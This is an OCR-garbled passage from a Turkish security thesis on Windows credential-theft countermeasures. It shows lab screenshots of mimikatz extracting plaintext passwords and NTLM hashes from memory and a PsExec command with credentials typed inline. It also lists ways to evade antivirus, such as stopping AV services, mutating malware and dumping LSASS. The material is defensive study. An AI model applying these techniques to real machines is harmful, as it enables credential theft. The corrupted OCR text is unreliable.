. Ab1das2b1977cOLhB6A4a headaehh Applications | Processes | Services | Performance | Networking

H 9G234he5hf1f31752175fﬂl4a93fc57551hd6h3h

: [mesut User D Status ClentName  Session
: SEE.{‘EECI Rl ecut 1 Active Consols

ycemsari 2 Discon...

: 156789 (APARRGEA: BEB2G475)
: Remotelnteractive from
: cem.sari
= KEMALIEZ
= §-1-5-21-523445335-3769248244-1355916466-1111

Primary
em.sari

= KEMALTEZ

: 24cB864d8c69dbba3dcBl667e9d738c5d9

: 5B8cd53f17d3caffecelbal?45a67h27F

: 2cf8f8a9736eefaebl44ehc29c2e50d6cF15432F

ilcem.sari

:| KEMALTEZ BN Administrator: Command Prompt

Microsoft Windows [Uersion 6.1.76811
Copyright {c> 2887 Microsoft Corporation. A1l rights reserved.

z| Cel23456

ilcem.sari
= | KEMALTEZ

sut>gwinst
=] Cel23456 E;E“ quinsta

USERNAME ID STATE TYPE
SEFUICES
>console mesut 1
cem.sari
FUP=CCT Llrten

cem.sari

*| KEMALTEZ. NET
:| Ce123456

C:\Users\mesut>_

SEKIL 3.5: Baglant: Kesilmesi Sonucunda Olusan Durum

3.2.1.4 Oturumu Kapatma (Log off)’da Olusan Tehdit ve Alinacak Onlem

Kullanici Oturumu Kapatma (Log off) yontemi ile ¢ikig yapmaktadir. Bu durum saldirgan
bakig acisi ile géz oniinde bulunduruldugunda RAM iizerinde kullanici hesap bilgilerinin
kayith oldugu anlagilir. Béliim 2 iizerinde anlatildigi gibi mimkatz araci kullamlarak kul-
lanicinin hesap bilgileri elde edilebilmektedir.

Eger bilgisayarin belleginde 6nemli verinin ve 6zellikle kullanici parolasinin kalmasi is-
tenmiyorsa, bilgisayarin yeniden baglatilmasi veya tamamen kapatilmasi gerekli bir 6n-
lemdir.

Saldir1 sonucu ekran ¢iktisi ile birlikte agagida verilmigtir.

Kemaltez etki alanindaki cem.sari kullanici oturumunu actiktan sonra oturumu kapat-
maktadir (log off). Sehir-PC1’de burak adli yerel kullamci yine oturumunu agtiktan
sonra O’da oturumunu kapatmaktadir (logoff). Daha sonra mesut yerel kullanicisi da
Sehir-PC1’de oturum ac¢maktadir. Bu durumda yerel kullanici olan burak’in parolast
alinamamigken mesut yerel kullanicisinin ve cem.sari etki alam kullanicisinin parolalar:
elde edilmigtir.

Not: Yukaridaki adimlar1 ayni gekilde uygulayip tekrarlandiginda ise sadece yerel kul-
lanici olan mesut’un bilgileri elde edilmigtir. Yapilan iglem gekil 3.6 {izerinde goriildiigii

gibidir.
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Authentication Id : @ ; 17912089 (PARANODA:BAA1h54e?)
: Interactive from 1 %8 Windows Task Manager
: mesut . X
: SEHIR-PCG1L File Options View Help
: 8-1-5-21-3687518117-722887369-3280039823-10H
Applications | Processes | Services | Performance | Network

sV 1
[ARAARABAS 1 P11maly

* Username nesut
i : SEHIR-PCL = )
: G24aacti3705odclandibadshs1404ce s D St | Cient Name sl 5
: 3h1da22h1973cBhbBhddaThbadachs [ % et 1 Active frone
LA n D IS s et bt 4093 P et 7u51 ba6bb

3| mesut
:) SEHIR-PC1
d =) Test123

ER Administrator: Command Prompt

Microsoft Windows [Uersion 6.1.76811
* Uaexname : mesut Copyright <c> 2889 Microsoft Corporation. A1l rights »
#* Domain : SEHIR-PC1
* Password : Test123 C: \Ugelg\megut)qulngta

i 'l NNNAME LISERNAME

kerberos

* lsername : mesut

#* Domain : SEHIR-PC1
* Password : Test123

mesut

1
65536

SEKIL 3.6: Kullanici Oturumu Kapattiginda Olugan Durum

3.2.2 Giivenli Parola Kullanimi ve Sikilagtirma Onlemleri

Bu konunun kapsami kullanilan giiglii parolalarin RAM iizerindeki etkisi nasil oldugun-
dan bahsedilecektir. Ne kadar uzun ve karmagik parola kullanilirsa saldir1 yiizeyi o kadar
daraltilir veya geciktirilir. Ancak Boliim 2 iizerinde anlatildig1 gibi sisteme bir gekilde
sizabilen bir saldirgan her gekilde parolay1 elde edebilmektedir. Eger sikilagtirma iglem-
lerinden bazi kiittiphaneler (kerberos, wdigest, tspkg) kaldirihrsa o zaman elde edeme-
mektedir. Bu durum ise Konu 3.2.3 tizerinde anlatildig: gibi sistemde beklenmeyen baz
hatalarin ortaya ¢ikmasina sebep olabilmektedir. Giivenli parola kullanilarak sikilagtirma

ile alinabilecek onlemler igin agagidaki gibi alt bagliklar seklinde anlatilmigtir.

3.2.2.1 Parola Uzunlugu ve Karmasikligi Durumlari

Parola uzunlugu ve karmasiklig: sisteme sizilmadan, sizilmaya yonelik yapilan saldirilarda
(Kabakuvvet) saldirinin bagar1 oranini ciddi anlamda diigiiren etkin 6nlemlerdendir. An-
cak sisteme sizan bir saldirgan kullanicinin ALT kombinasyonu kullanarak olugturacag:
parolay1 dahi ele gegirebilmektedir. Bu durum icin kesin bir 6nlem bulunmamaktadir.
Ciinkii parola RAM iizerinden alinabilmektedir. Ancak parolalarin uzunlugu ve karma-
siklig1 bir¢ok saldirinin bagariya ulagmasini engellemektedir. Saldir1 sonucu ekran ¢iktisi

ile birlikte agagida verilmistir.

Sehir-PC1 iizerindeki mesut kullanicisinin parolasini ‘Zor.Bir?Parola’ geklinde verilerek

ve RAM {izerinden alinmaya ¢aligilacaktir. Bu durum uygulandiginda uzun bir parolanin
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da RAM iizerinden alinabildigi goriilecektir. Yapilan iglem gekil 3.7 iizerinde goriildiigii
gibidir.

T B 5 999412 (DOOPODO0:000f3ff42

: Interactive from

I mesut

: SEHIR-PC1

: §5-1-5-21-3687518117-722887369-3288039823-10801

Primary

: mesut

: SEHIR-PC1

: cf?866a5d@141493bbhihi hBBa432608d3

: 2chB32ad4fh673aedf5c7183h5cBodeh

: 4ab6486%e6787e5df YccPaal3d3251b68fal3d9hbe?

i mesut
:| SEHIR-PC1
:| Zor.Bir?Parola

{ SEHI
z Zor.Bir?Parola

PC1

: mesut
: SEHIR-PC1
* Password : Zor.Bir?Parola

SEKIL 3.7: Parolanin Ozellikle Uzun Kullanmilmasinda Olusan Durum

3.2.2.2 Parola Olusturulmasinda Ozel Karakterlerin Artirilmasimin Sagla-

dig1 Onlemler

Kullanilan parolanin karmagikligl ve uzun olmasi 6nemlidir. Ancak bilgisayara sizildik-
tan sonra RAM iizerindeki bilgiyi okumaya yonelik saldir: tiirlerinde genelde bilgi elde
edilebilmektedir. Saldiri sonucu ekran ¢iktisi ile birlikte 6nlemler ve sikilagtirma iglemleri

asagida verilmigtir.

Sehir-PC1 {izerindeki mesut kullanicisinin parolasini ‘Zor£Parola€1’ seklinde verilmig-
tir. Sekil 3.8 tizerinde goriildiigii gibi bu parolanin tamami yani 6zel karakterden sonrasi

bellek iizerinden elde edilememisgtir.

= B ; 1193586 (BAAABAAA:B0123622>

: Interactive from 2

: mesut

: SEHIR-PCG1

: 5-1-5-21-3687518117-722887369-3280039823-18601

msy @
[ARBREARA3 1

Primary

* |ername
* Domain
* NTLM

= SHAl
tspky :

I mesut

: SEHIR-PCG1L

: bha25ah?5cBc?3ff1c6%19c54312he?50

: 53d7727e1a46573ae31dabfd9233814e1d286c4b

: mesut
: _SFHIR-PC1

d | Zor

kerher H
* lsername
* Domain

: mesut
: _SEHIR-PC1

Zor

: mesut
: SEHIR-PG1
* Password :

Zor

SEKIL 3.8: Parolanin Uzun ve Karmagik Kullamilmasinda Olusan Durum

Goriildiigii gibi ilk bagta paroladaki 6zel karakter okunamamigtir ancak yapilan font

degisikligi igleminden sonra parolanin tamami elde edilebilmektedir. Kullanilan aracin



Boliim 3 Onlemler 63

yaz1 fontu segeneklerinden Lucida Console fontu secildiginde gekil 3.9 {izerinde goriildiigii

gibi parola okunmusgtur.

dh "ChWindows\system32\cmd.exe” Properties X

Options | Fornt | Layout | Colors

Window Preview Size

Fortt Bold forts

Raster Forts

Selected Font : Lucida Console
THDOY i

Each characteris:
7 screen pixel
12 screen pixels

high

o)

SEKIL 3.9: Komut Satirinda Font Degisikligi

Komutu caligtirildiginda parolanin tamami elde edilebildigi goriilecektir. Yapilan iglem

sekil 3.10 tizerinde goriildiigii gibidir.

280039823-1001
_jcmc'mo(ms]
= U name

750
814e1d206c4b

fParola€l

SEKIL 3.10: Font Degisikliginden Sonra Karmagik Parolanin Elde Edilmesi

Bu iglem igin agagidaki onlemler ve sikilagtirma iglemleri yapilmalidir.

e Alt kombinasyon karakterlerinin i¢inde bulundugu parolanin uzunlugu en az 10

karakter olmalidir.

e 2 ayda bir parolalar degistirilmelidir.
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e Kurum ve kuruluglarda kullanilan parolalarin birbirinden farkli olmali ve digarida
herhangi bir bilgisayarda girilmemelidir. Bu énleme ek olarak kigisel blog ve mail-

lerde kullanilmamalidir.

e Parola politikalarinda LM 6zetinin kullanilmasi tamamen kaldirilmalidir. Bunun
icin ‘Network security: Do not store LAN Manager hash value on next password

change’ ilkesi etkinlegtirilmelidir.

e Ayrica parolanin giivenligi konusunda linkteki makale incelenebilir.

http : | Jwww.bilgimikoruyorum.org.tr/?b220parolaguvenligi

3.2.2.3 14 Karakterden Daha Kisa Uzunluktaki Parolanin Kullanilmasinda

Saglanan Onlemler

Bu konuda ise onceki parola konularina ek olarak sikilagtirma islemlerinden bazi kii-
tiiphaneler (kerberos, wdigest, tspkg) kaldirilarak islem gergeklegtirilecektir. Bu durumun
Konu 3.2.3 iizerinde anlatildig: gibi sistemde beklenmeyen baz hatalarin ortaya gikma-
sina sebep olabilmektedir.

14 karakterden daha kisa bir parola verilmigtir. Giivenlik agisindan degerlendirildiginde
kerberos, wdigest ve tspkg gibi kiitiiphaneler kaldirildigindan parola agik halde elde edi-
lememektedir. Ancak parola 6zetleri elde edilebilmektedir. Parola 6zetleri i¢in ¢esitli mo-
diiller (Ophcrack , MD5Decrypter gibi) kullanarak parolalarin acik hali elde edilebilmek-
tedir. Saldir1 sonucu ekran giktisi ile birlikte agagida verilmigtir.

Bilgisayar kullanicilarindan cem.sari ve mesut adli kullaniciya 14 karakterden kisa bir
sifre verilir. Kemaltez|cem.sari adli kullanicinin oturumunu agip ilgili islemi gergeklestir-
dikten sonra kullanici degistir secenegi ile ¢ikig yapilir. Ayni gekilde yerel kullanici olan
Sehir-PC1|mesut kullamcisi ile girig yapip islem gerceklegir. Bu iglemlerden sonra pa-
rolalar elde edilmeye galigildiginda acik halde elde edilemeyip sadece parola 6zetlerinin

elde edilebildigi goriilmektedir. Yapilan iglem gekil 3.11 iizerinde goriildiigi gibidir.


$http://www.bilgimikoruyorum.org.tr/?b220_parola_guvenligi$
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3692220039823 1001

51bdbb3b

Pri

fd18f6f9
b3ccOadc
bdbs cbaeebeB6947

SEKIL 3.11: DLL’lerin Silinmesinden Sonra Kisa Parola Kullanilmasinda Olugan Du-
rum

3.2.2.4 14 Karakterden Daha Uzun Parolanin Kullanilmasinda Saglanan On-

lemler

Konu 3.2.3 {izerinde anlatildigr gibi sikilagtirma iglemlerinden baz kiitiiphaneler (ker-
beros, wdigest, tspkg) kaldirilarak ve bir 6nceki konudan farkli 14 karakterden uzun bir
parola kullanilacaktir. Giivenlik acisindan degerlendirildiginde kerberos, wdigest ve tspkg
gibi kiitiiphaneler kaldirildigindan parola acik halde elde edilememektedir. Ancak LM
0zeti olmadan NTLM 6zeti elde edilebilse dahi bu ézetten parola elde edilememektedir.
Sonug olarak parola ilkelerine LM 6zetinin alinamamas: icin parola karakter sayisinin 14
olarak belirlenip eklenmesi de etkin bir énlemdir.

Ornegin gerceklestirilmesi agagidaki gibidir.

Yerel kullanic1 olan Sehir-PC1|mesut kullanicisinin parolasini ‘Test123456Mesut’ gek-
linde 15 karakter olarak verilir. Yine etki alani kullanicisi olan cem.sari kullanicisina da
‘Ce*123456HjU123’ 15 karakter olarak verildi. Bu durumda ise yine parola elde edile-
medigi gibi LM 6zeti de elde edilememis oldu ancak gekil 3.12 iizerinde goriildiigii gibi
NTLM o6zeti elde edilmigtir.
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Authentication Id : @ ; 851118 <(ABOOAGEE:ABBCEcab)
: Interactive from
i mesut
= SEHIR-PC1 =
i 5-1-5-21-3687518117-722887369-3280039823-10801 User ID__ Status Client Name __Session

LU P

[PEOPRBA2Z 1 Primary A mesut 1 Active nsole
* Username * mesut ?+ cem,sari 2 Disconnected
% Nomain - _SFHIR-PC1
= NTLM : he395dB5621a%ee58e4B8e95252ceadel - )
® SHAL T CYIPZbIE1TS64IN7 I AECACT Jade 4l BalZaPet 7o E¥ Administrator: Command Prompt

Sﬁpd= : Microsoft Windows [Uersion 6.1.76611
credman = Copyright {c> 2889 Microsoft Corporation.

Authentication Id : @ ; 793629 (ABOOABEOE:A0Bcicid)

Applications | Processes | Services | Performance | Metworking | Users

1 i , £ E: IC:sUserssmesut >quinsta
i Interactive from SFESSTNNNAME 1S FRNAME
: cem.sari services

: KEMALTEZ . s
: §-1-5-21-523445335-3769248244-1355916466-1188 [ °0nsole et i

v o

[BEBBBBBZJ Primary
* Uzem H .5ar -

% Yoornane : ceneani C:\Usersinesut>
* NTLM :_48d27ed8f63abf 7halibhs?albbd4a?he

* SHA1 - ZaMcdidddIdhdh3dbhaecYdd/d464Y 385aehblyd
ssp *

credman =

rdp—tcp

SEKIL 3.12: DLL’lerin Silinmesinden Sonra Uzun Parola Kullamilmasinda Olugan Du-
rum

3.2.3 Kullanilmayan Kiitiiphanelerin (DLL) Kaldirilmas: ile Saglanan

Onlemler

Windows igletim sistemleri kimlik dogrulama paketlerini LSA (Local Security Authority)
araciligl ile bellege yiikler. LSA ise bu yiikleyecegi paketleri Windows Registry Editor’iin
(‘HKLM\SYSTEM | CurrentControlSet| Control\ Lsa|Security Packages’)

kaydindan alir. Burada sadece bu kayitta bulunan paketler bellege yiiklenir. Ornegin
Sehir-PC1 bilgisayarinda Windows 7 igletim sisteminin ‘Security Packages’ degerinde alt1
adet DLL bulunur. Bunlar bellekten parola elde ederken ki ekran goriintiilerinde mev-
cut oldugu gibi; msvl 0, tspkg, wdigest, kerberos, schannel ve pku2u’dir. Bu DLL’lerin
her biri kimlik dogrulama iglemlerinde ayr1 gérevlere sahiptir. Ornegin bilgisayarlar arast
parola sorgusu yapmadan erigim icin gerekli olan tspkg’dir. Eger bir bilgisayarda MS12-
020 gibi DOS zafiyeti var ise Bu DLL’in kaldirilmasi uygun goriilmektedir. Ama baz
sistemlerin (Hyper V) oturumlar: i¢in bellege yiiklenmesi zorunludur. Wdigest ise bazi
uygulamalar (Outlook Web Access) igin ag tizerinde LM/NTLM ile kimlik dogrulamas:
i¢in kullamilmaktadir. Kerberos ise etki alanminin en kritik giivenlik paketlerinden biridir.
Kendisi i¢in belirlenen siirenin sonunda (10 Saat gibi) hesap 6n biletinin (TGT) yeni-
lenmesi icin gerekli bir pakettir. Ozellikle Windows igletim sistemlerinde desteklenmeyen
servislerin her defasinda gifre sormasimi engellemek amaci ile yani bu servislere SSO des-
tegi kazandirip parola ve parola Ozetleri sifreli tutularak ag {izerindeki standart kimlik
dogrulama protokollerini kullanmaktir. Bu durumda servisler parolalarin agik haline ih-
tiya¢ duyduklarinda RAM iizerinden sifre ¢oziiliir ve servise acik halde verilmig olur. Bu

sifre ile servis iglevini gerceklestirir [18].



Boliim 3 Onlemler 67

Sehir-PC1 bilgisayarinda kerberos, wdigest, tspkg DLL’leri silip, ‘Mimikatz’ aracinin pa-
rolalarini acik halde ele geciremedigi msvi_ 0, schannel pku2u DLL’ler birakilir. Yapilan
islem sekil 3.13 iizerinde goriildiigi gibidir.

GroupOrde = || pame Type Data

; HAL ab| (Defaylt) REG &, (value not set)
e L) hivelist
"], IDConfignl | EditMulti-String (==
Keybeard L Value name:
: Keyboard | Security Packages
4. Lsa
. Access Value data:
Audit
Cachec|= ‘. - .
Credssy
Data
FipsAlg
GBG
o
Kerberc
MSVL_( .
Skenl !
550 Cancel
- Ju SspiCac
!_safxfr:nzlc | ab|Security Packages REG_MULTLSZ msvl_0 schannel pku2u

SEKIL 3.13: DLL’lerin Silinmesi (kerberos, wdigest, tspkg)

Bu durum beklenmeyen sorunlara sebep olabilir.

Ornegin;
Sehir-PC1 bilgisayarinin uzak masatistii portunun agik olup olmadigini égrenmek icin
port taramasi gerceklestirilir. Tarama sonucunda sekil 3.14 iizerinde goriildiigii gibi 3389

nolu port uzak masaiistiine ait olup ve aciktir.

Nmap ) scanned in 1.75 secon

SEKIL 3.14: DLL’lerin Silinmesinden Sonra Uzak Masaiistii Servisinin Kontrolii

Ancak sekil 3.15 iizerinde goriildiigii gibi Sehir-PC1 bilgisayarina uzak masaiistii denendi
fakat baglant1 gerceklesgtirilemedi.
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B Remote Desktop Connection

Remote Desktop

"¢ Connection

Computer: 152.168.200.7

Remote Desktop Connection @

y ) 1 This computer can't connect to the remote computer,

- Try connecting again, If the problem continues, contact the owner of
the remete computer or your network administrator,

o [ Hee

SEKIL 3.15: DLL’lerin Silinmesi Sonucu Olugan Hata

Not:Silinen giivenlik paketlerinin sonucu bazen istenmeyen hatalara sebep olmaktadir.

3.2.4 Istemci Tarafli Koruma Sistemlerinin Sagladig1 Onlemler

Saldirganlar tarafindan 6zellikle kullanilan ‘Mimikatz’ ve ‘WCE’ gibi araclar igletim sis-
temine yiiklendiginde anti viriis mevcut ise genelde viriis olarak tespit edilebilmektedir.
Bu dosyalar: online hizmet vermekte olan ‘Total Viriis’e yiiklendiginde ise birgok anti vi-
riis yine bunlar: tespit edebilmektedir. Bundan dolay: bilgisayarlarda anti viriisiin yiikli
olmas1 saldirganlar1 bir nebze olsun tespit etmeye yarayacaktir. Ancak kesin ¢6ziim ola-
rak tavsiye edilmemektedir[18]. Ciinkii gesitli yontemlerle anti viriisler atlatilarak bellek
iizerinde bulunan 6nemli veri ve parolalar elde edilebilmektedir. Bunlara birkag¢ 6rnek

agagidaki gibidir.

Anti viriislerin servisleri kapatilarak anti viriis durdurulabilir veya cesitli yontem-

lerle anti viriis duraklatilabilir.

e Genelde imza tabanh caligtiklarindan, zararli yazilim mutant edildiginde zararh

yazilimi taniyamayabilir.

e Anti viriisler genelde sabit disk iizerinde cahsirlar. Ornegin RAM iizerinde cali-
san bir zararhy: yakalamayabilirler. Buna bir 6rnek olarak RAM fizerinde caligan

‘Mimikatz’ versiyonu verilebilir.

e Lsass dump’ini alarak parola elde edilebilir. Anti viriis bu durumda hicbir aktivite

de bulunamaz.



Boliim 3 Onlemler 69

Not: Giivenlik agisindan Anti viriislere kesin ¢oziim olarak bakilmamas: gerekir. Anti

viriisler ancak saldir1 yiizeyini daraltmaktadirlar.

3.2.5 Uzaktan Erigim Yo6ntemleri ile Olusan Tehditlere Kargi Alinmasi

Gereken Onlemler

Bilgisayarlar arasinda genelde ag {izerinden uzak masaiistii baglantisi gerceklestirilir.
Uzak masaiistii baglantis1 diginda bagka yontemler de mevcuttur. Bu mevcut yontemler-
den &rnegin ag tlizerinde dosyalara erigim gibi durumlar bulunmaktadir. Bu durumlarda
erigim gergeklegtirilen bilgisayarda acik oturum mevcut ise RAM iizerindeki kullanic
hesap bilgileri elde edilebilmektedir. Bu iglem birka¢ yontemle agagida ki gibi gercekles-

tirilecektir.

3.2.5.1 Kullanic1 Bilgileri Kullanilarak PsExec ile Erigim Saglanirken Olugan
Tehdit ve Alinacak Onlemler

‘Psexec’ benzeri araclar kullanilarak yapilan uzaktan erisimlerde kullanilan hesap bilgileri
ile erigim saglanan bilgisayarda oturumu bulunan kullanicilarin hesap bilgileri RAM fiize-
rinden elde edilebilmektedir. Bu tiir iglemler gerceklestirilirken ‘Psexec’ aracinda kullanici
hesap bilgileri kullanilmamalhidir. Aksi taktirde kullanilan hesap bilgileri RAM iizerinde
kayit edileceginden ele gecirilebilmektedir. Saldir: sonucu ekran ¢iktisi ile birlikte agagida

verilmigtir.

Sehir-PC bilgisayarinda login olmug ve etki alan kullanicisi olan Kemaltez|cem.sari kul-
lanicisinin, Sehir-PC1 bilgisayarina ozellikle yonetimsel paylagimlara ulagmak icin kulla-
nilan ‘Psexsec’ araci ile baglantisin gergeklestirmektedir. Bu ara¢ baglant: icin kullanici

kimlik bilgilerini kullanmaktadir. Sekil 3.16 iizerinde goriildiigii gibidir.
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C:“Araclar>hostnamne
Sehir-PC

C:~Araclar>PsExec.exe ““\Sehir—PCl —u kemaltez“cem.sari —p Cel23456 cmd.exe —i @
PzExec v2.A — Execute processes remotely

Copyright <(C> 2881-2813 Mark Russinowvich
Syzinternals — www_sysinternals.com

Microsoft Windows [Uersion 6.1.76811
Copyright (c>» 28@? Microsoft Corporation. All rights reservved.

C:sWindowsssystem32>hostname
Sehir—PCL

C:sWindowsssystem32>whoami
kemaltezcem.sari

C:Windowsssystem32>

SEKIL 3.16: Kullanic1 Bilgileri ile Psexec Erigimi

Yapilan iglemde kullanicinin kimlik bilgileri kullanilarak Sehir-PC1 bilgisayarinin dosya
sistemine ulagilmigtir. Bu durumda oturumu acik bagka bir kullanici var ise RAM iizerin-
den oturum bilgileri elde edilebilir. Bu duruma &érnek tegkil edecek Sehir-PC1 iizerinde
yerel kullanici olan mesut adli kullanicinin oturumu da aciktir. Yapilan saldirida sekil
3.17 iizerinde goriildiigii gibi her iki kullanicinin da parolas: elde edilebilmektedir.

BN mimikatz 2.0 alpha x86 (oe.e0) & || 23

Authentication Id : @ ; 463848 (ABOOABOO:O0O713e@d)
: Interactive from @ 1% Windows Task Manager = || B =
: cem.sari - P
- KEMALTEZ File Options View Help
i §-1-5-21-523445335-3769248244-1355%916466-1108

nsy
[BABAABA3 1 Primary
Username : cemn.sari =
Domain : KEMALTEZ User D Status ClientMName  Session
: 24c864d8c69dbbadcBibtPe?d?38c5d9 -
HTLH : 5B8cd53f1i7d3caffecelha@?45a67h27f Bl mesut 1 Active Console
= SHAl : 2cf8fB8a%73beefaebiddebc2%c2e50d6cf15432F
tspky :
* Username | cem.sari
* Domain :| KEMALTEZ
* Password :|Cel23456
"ilﬂgﬁ,t.n;m sl cen.sari EX Administrator: Command Prompt
* Domain : | KEMALTEZ C: \Jquinsta
* Password :|Cel123456 SESSTONNAME USERNAME 1§)]
kerﬂeros : - services a
* llsernane : | cem.sari > s0 1 sut 1
= Domain  : |KEMALTEZ.NET vdptep nesu 65536
* Password :|Cel23456
S5 & IC=»Jnetstat —ao | findstr /L server
credman : TCP 192.168.2.1681 :445 serverl 59829

Authentication Id : B ; 128699 (BOABOBGO:0001f6hh) C:rtasklist ~v | findstr ~L KEMALTEZ
i : Interactive from 1 cmd . exe 726 Services
: mesut y .sari
. SEHIR-PCL nown KEMALTEZ~cem.sari
: 8-1-5-21-3687518117-722887369-328003" . onhost .exe 616 Services
nown KEMALTEZ“cem.sari

Applications | Processes | Services | Performance | Netwarking | Users

3
*
3
*

v oz
[AABBAAA2 1 Primary

* lsernane nesut

* Domain : SEHIR-PCL Gy
* LH : 624aac413795cdeclaadih43Sh5i404ee

* NTLM : 3bida22b1973cBhbB6d4a?bbatact5f6

* iHRl : 76234beShfi1f317e217afB14a93fc67a51]
tespky :

= Username : nesut

* Domain : |SEHIR-PC1

* Password : Testl123

wdigest :

= Username : nesut

* Domain = SEHIR-PC1

* Password : Testl123

SEKIL 3.17: Kullanic1 Bilgisi ile Psexec Erisim Gerceklestirilen Bilgisayarda Ram Uze-
rindeki Veri Durumu
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3.2.5.2 Kullanici1 Bilgileri Kullanilmadan PsExec ile Erisim Saglanirken Olu-

san Tehdit ve Alinacak Onlemler

‘Psexec’ benzeri araglar kullanilarak yapilan uzaktan erigimlerde kullanici bilgileri kul-
lanilmadan erigim saglanan bilgisayarda sadece oturumu bulunan kullanicilarin hesap
bilgileri RAM iizerinden elde edilebilmektedir. Ancak saldirgan bir proses olugturup bu
prosesi baglant: siiresinde ayakta tutarsa ve bu prosesle bagka proseslere sicrayabilirse ya
da saldirgana ait proseslerin normal prosesmis gibi goriinmesi (impersonation) durum-
larinda birgok hak elde edilebilmektedir. Elde edilen bu haklarin sadece ele gecirilmig
bilgisayarda etkin olmasi diger bilgisayarlarin servislerine erigememesi i¢in énem derecesi
yiksek hesaplarin ‘Account is sensitive and cannot be delegated’ dzelliginin secilmig ol-

masi etkili bir 6nlemdir. Saldir1 sonucu ekran giktisi ile birlikte agagida verilmigtir.

Onceki cahsmada kullamc1 kimlik bilgisini kullanarak ‘Psexec’ iizerinden uzaktan erigim
gerceklegtirilmigti. Yapilacak olan bu calismada ise kimlik bilgisi kullanmadan oturum
agmaya c¢aligilacaktir. Burada ilgili bilgisayara ‘Psexec’in ¢aligtirildigi kullanici yetkisi
(kemaltez| cem.sari) ile iglem gergeklegtirir. Yapilan islem gekil 3.18 iizerinde goriildiigi
gibidir.

C=“Arac lar>hostname

Gehir—PC

C:NAraclar?PsExec.exe S\Sehir-PC1l cmd.exe —i @

PzExec v2.8 — Execute processes remotely

Copyright (C> 2881-2813 Mark Russinovich
Sysinternals — www.sysinternals.com

Microsoft Windows [Uersion 6.1.76811
Copyright (c> 288? Microsoft Corporation. All rights reserved.

C:sWindowsssystem32 *hostname
Fehir—PC1

ystem32>vhoami
-sari

SEKIL 3.18: Kullanic1 Bilgisi Kullanilmadan Psexec Erigimi

Goriildiigii tizere Sehir-PC1 bilgisayarinin dosya sistemine ‘Psexec’ aracini kullanan kul-
lanict haklan ile erigim saglandi. Bu durumda aym bilgisayarda farklh kullanicilarin otu-
rumlar ac¢ik kalmig olabilir. Bu bilgisayarda ise yerel kullanici olan Sehir-PC1|mesut
kullanicisinin oturumu agiktir. Béylece mesut kullanicisinin kimlik bilgileri elde edilmig-
tir. Yine ayni bilgisayar lizerinde cem.sar: kullanicisinin proses caligtirdigr goriilmektedir.

Yapilan iglem sekil 3.19 iizerinde goriildiigii gibidir.
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= @ ; 128699 (BODAAOOO:B001f6bhh)

W v
: Interactive from Ll

Task Manager o || =28

: mesut Fi Qptions Vi -
. SEHIR-PCL File Options View Help
: 8-1-5-21-3687510117-722887369-3280039823-1001

nsu : Applications | Processes | Services | Performance | Metworking | Users
[BB00AAB2 1 Primary
Username : mesut - ) )
Domain : SEHIR-PC1 User jin) Status Client Mame Session
: 624aac413795cdciaad3b435b51404ee i Cans:
: 3b1da22h1973cBbbB6d4aTb6aTaebEfE Blmesut ! Active Consale
1 96234be5hf1£317e217afB14a?3fc67a51hd6h3h

H sut -

H EEHlIlR—Pc1 B Administrator: Command Prompt
| Test123 IC:\>guinsta

: [hesut SESE1ONNAME USERNAME 1 STATE TYPE
: |SEHIR-PC1 :
:|Test123 fActive

Listen

*console nesut

i
seprulces A Disc
1
rdp—tcp [

s mesut

:| SEHIR-PC1
#* Password :| Test123
ssp °

credman :

IC:snetetat —an ! Findetwr /1. capuan
TGP 192.168.2.181:445 serverl :57829 ESTABLISHED

IC:stasklist su ! findeotir 1. KEMALTEZ
1552 Services a

futhentication Id : @ ; 997 (00000000:000003 KEMALTEZ cem. sari

: Service from
: LOCAL SERVICE
NT AUTHORITY

conhost .exe 788 Services a
nown KEMALTEZNcem.sari

P §-1-5-1%

HER

3 {null)
5 (null)
3 (null>

3 {null)
* Domain 5 (null)
#* Password : {(null)
ssp °

credman =

SEKIL 3.19: Kullanic1 Bilgisi Olmadan Psexec Erigim Gerceklestirilen Bilgisayarda Ram
Uzerindeki Veri Durumu

3.2.5.3 Kayit Defteri ile Uzaktan Erisim Sonucu Olusan Tehdit ve Alinacak

Onlemler

Kullanic1 bilgisayarinda ‘Remote Registry’ servisi baglatilmig ise sunucu iizerinden Win-
dows Registry Editor ile erigim saglanabilmektedir. Ancak bu baglanti RAM iizerinde
herhangi bir kullanici bilgisi birakmadigindan parola elde edilememektedir.

Onlem olarak Windows Registry Editor iizerinden baglant: yapilamamas: icin kullanici
bilgisayarinda ‘Remote Registry’ servisi servis digi birakilmalidir. Saldiri sonucu ekran

ciktist ile birlikte asagida verilmistir.

Bu caligmada Sehir-PC1’de ‘Remote Registry’ servis baglatilmigtir. Bu yilizden SER-
VER1 bilgisayarinda Sehir-PC1 adh bilgisayarin Windows Registry Editor’iine erigim
yapilabilmektedir. Yapilan islem gekil 3.20 iizerinde goriildiigii gibidir.



Boliim 3 Onlemler

73

Dosya Dizen  Gérdndm Sk kullanlanlar TS ETE

[=1-7M Bilgisayar

Sedilecek nesne tor: -

IBHganar Nesne Tﬂden_.l
Konumlar... |

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_CURRENT_CONFIG

Bu konumdan:
FhmDMn

EI--ij Sehir-pcl

Segilecek nesne adini ginn (Gmekder):

SEHIR-PC1 |

HKEY_LOCAL_MACHINE
HKEY_USERS I

Adlan Denetle |

Geligmis... |

SEKIL 3.20: Windows Registry Editor Kullamlarak Ag Uzerinden Hedef Bilgisayara

Erigim

Saldir1 sonucu olarak Sehir-PC1 bilgisayarinda sadece mesut adli yerel kullanicimin pa-

rolast elde edilebilmigtir. Sekil 3.21 iizerinde goriildiigii gibi herhangi bir prosesin bagla-

tilmadigi gozlemlenmektedir.

: mesut

B

msy =

[BABEEEA3 1

Username
Domain

5 128699

(ABERRAAAE - BAALF 6 bh>

: Interactive from 1 1% Windows Task Manager o || =
: SEHIR-PC1 File Options View Help
1-5-21-3687518117-722887369-3280037823 1801
Applications | Processes | Services | Performance | Networking Users

Primary

I mesut =

: BEHIR-PC1 User jin] Status Client Name  Session

: 624aac4l137?5cdeclaad3bh435hb1404ee . ~

: 3bida22h1973cBbhB6d4afhbaPaebhfb Bl mesut 1 Active Console

: 76234heShf1f317e217afBl4a?3fc67a51hd6h3h

i mesut
z| SEHIR-PC1

d :|Testl23

| mesut
SEHIR

| mesut
z| SEHIR-PC1

= Password :
ssp =

credman =

Authentication Id = @
Cession
User Name
Domain
SID

! gest =
= lUsername =
= {null>
d :| <null>

z| <null>
= {null>
:| <null>

credman =

: Bervice from
: LOCAL SERVICE
= NT AUTHORITY
: §-1-5-19

B8 Administrator: Command Prompt

